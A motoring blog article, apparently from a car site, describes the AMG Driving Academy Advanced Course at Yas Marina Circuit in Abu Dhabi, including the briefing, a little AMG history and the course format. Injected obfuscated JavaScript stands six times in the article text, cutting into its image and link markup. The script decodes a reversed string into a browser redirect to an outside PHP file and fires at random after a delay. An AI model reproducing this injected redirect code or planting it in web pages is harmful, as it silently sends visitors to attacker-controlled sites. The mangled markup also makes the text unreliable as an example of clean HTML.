We take five Mercedes-Benz AMG models for a spin around the Yas Marina Circuit in Abu Dhabi, UAE as part of the inaugural AMG Driving Academy Advanced Course. Get ready for Schumacher-esque driving skills as crankandpiston tests the SLK 55 AMG, the CLS 63 AMG, the E63 AMG, the C63 AMG Coupé and the big bad SLS AMG GT.
$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2013/01/Mercedes-AMG-Yas-Marina-UAE-013.jpg” alt=”” width=”728″ height=”484″ />
AMGs are a common sight on the roads in the Middle East but you have to wonder how rarely, if ever, they get driven in the manner for which they were designed. AMG is, after all, the performance wing of Mercedes-Benz with an extensive history in motorsport ($VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/mercedes-sls-amg-gt3-driven-yas-marina-uae/” target=”_blank”>as we found out when we tested the Mercedes SLS AMG GT3 with Bernd Schneider), so a trip to the shopping mall isn’t quite testing their product design to the limit.
All that could be about to change though with the regional arrival of the AMG Driving Academy. Previously available in Europe, the Academy offers owners the opportunity to get behind the wheel of a selection of AMG models and experience Affalterbach performance as it was intended: on the track. In this case, at the $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/gulf-12hrs-dec-2012-par-for-the-af-corse/” target=”_blank”>Yas Marina Circuit in Abu Dhabi.
The Driving Academy is not exclusive to AMG owners, but its main purpose is to hone the skills of the brand’s loyal customer base, enabling them to extract full enjoyment from AMG ownership. I personally welcomed the opportunity to get up to speed under the guidance of instructors from AMG in Germany and be amongst the first in the UAE to attend the Advanced Course at Yas. The prospect of driving an SLS AMG GT on a $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/lifestyle/behind-the-scenes-at-the-abu-dhabi-grand-prix-formula-1/” target=”_blank”>Formula 1 circuit was also an attractive proposition that I did not want to miss.
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Reality kicks in as I am sitting down for the welcome introduction, held in the $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/ferrari-california-yas-marina-abu-dhabi-upholding-family-honour/” target=”_blank”>Yas pits. The gentle flutter of butterflies in my gut has started, which I fight down by focusing on the short history lesson on AMG. Did you know it was founded by Hans Werner Aufrecht and Erhard Melcher in 1967 and that the letters ‘AMG’ stand for Aufrecht, Melcher, and Großaspach, Aufrecht’s birthplace? I didn’t. The flow of trivia helps calm my nerves and I find myself starting to breathe a little easier.
Next up is the drivers’ briefing which covers the meat and potatoes of driving dynamics: observation, braking and performance. Naturally, an appropriate amount of time is spent emphasising car and driver safety. Track rules, regulations and a familiarisation of flag identification follow and then it is time to get out on circuit. My face is a picture of concentration – I must not screw this up. The focus actually means I forget to be nervous.
The advanced driving course can accommodate two groups of ten participants. Two participants share a car while an instructor, driving on his own up front, remains in constant audio contact through a radio on loud speaker. This was not quite what I was expecting – I had assumed that for the hefty price tag of $2110 it would be one-on-one tuition with an AMG expert. But nevertheless, I’m here to learn.
